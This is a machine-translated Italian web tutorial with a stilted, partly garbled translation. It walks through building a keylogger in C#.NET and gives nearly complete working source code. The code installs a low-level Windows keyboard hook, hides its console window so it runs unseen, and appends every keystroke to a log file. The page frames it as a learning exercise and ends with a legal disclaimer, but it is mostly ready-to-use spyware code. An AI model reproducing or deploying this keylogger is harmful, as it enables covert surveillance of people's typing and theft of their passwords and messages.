This is a machine translation. The original page (in English) is available here.

Ultime notizie dal mondo: - Perché gli USA stanno valutando TikTok Ban Feed RSS

Casa>Articoli>Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net
Top Registratore di tasti
Vedi di più...

Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net

  •  
User rating: 4.5 - 2 voti
Che cos'è un Registratore di tasti ?

Il suo un programma che viene utilizzato per il chiave immessa da tastiera. di solito si utilizza per l'hacking scopi.

Secondo Webopedia :
Un Registratore di tasti è un tipo di software di sorveglianza (considerato il software o spyware) che ha la capacità di registrare ogni battitura si fanno in un file di registro, di solito crittografato. Un Registratore di tasti in grado di registrare messaggi istantanei, e-mail, e tutte le informazioni digitate, in qualsiasi momento, utilizzando la tastiera.
Qui ci mostrano che questo non hack somebodies computer, ma di conoscere il processo.

Quindi, consente di iniziare a dare il nostro Registratore di tasti.

Prima di avviare un'Applicazione Console in visual Studio.

Ora aggiungere spazio dei nomi

  • utilizzando Sistema.La diagnostica;

  • utilizzando Sistema.Windows.Forme;

  • utilizzando Sistema.Runtime.InteropServices;

  • utilizzando Sistema.IO;


Ora aggiungere privato variabili globali

private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;


Ora nel Main()


var handle = GetConsoleWindow();
ShowWindow(handle, SW_HIDE); // to hide the running application
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);


Ora aggiungere questo codice al di fuori del Main()


private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
/*for this create a folder named "abc" in C dirve*/
StreamWriter sw = new StreamWriter(@"C:\abc"+ @"\log.txt", true);
//StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}


Ora aggiungere alcune Dll


[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);


e alla fine fare il SW_HIDE 0

const int SW_HIDE = 0;

Ora dopo tutto questo, si avrà un errore nell'utilizzo del Sistema.Windows.Forme;.
Per evitare questo errore, è necessario aggiungere un riferimento di Windows.Le forme.

Come fare?
Fare clic destro sul nome del progetto in Esplora soluzioni. E fare clic su Aggiungi Riferimento.



Ora sul .Scheda rete di scegliere il Sistema.Windows.Modulo



E fare clic sul pulsante OK. Ora, se si verifica nel Riferimento della Soluzione Explorer si otterrà che il riferimento è stato aggiunto.



Ora Costruire(Premere F6) e controllare c'è qualche errore o non. Come per il codice non dovrebbe qualsiasi errore presente. Quindi eseguire il programma.

Se si esegue il codice con l'Applicazione.StartupPath poi controllare il file di log in bin -> cartella di debug. E si ottiene anche il .EXE in tale cartella. In modo da godere...

Scaricare il codice sorgente completo qui.
Data di pubblicazione:
Leggi l'articolo completo
Casa>Articoli>Fare Il Vostro Proprio Utilizzando Registratore di tasti C#.Net
IMPORTANTE! Computer di installazione di strumenti di monitoraggio sui computer che non possiedono o non hai il permesso di monitorare può violare locali, statali o federali.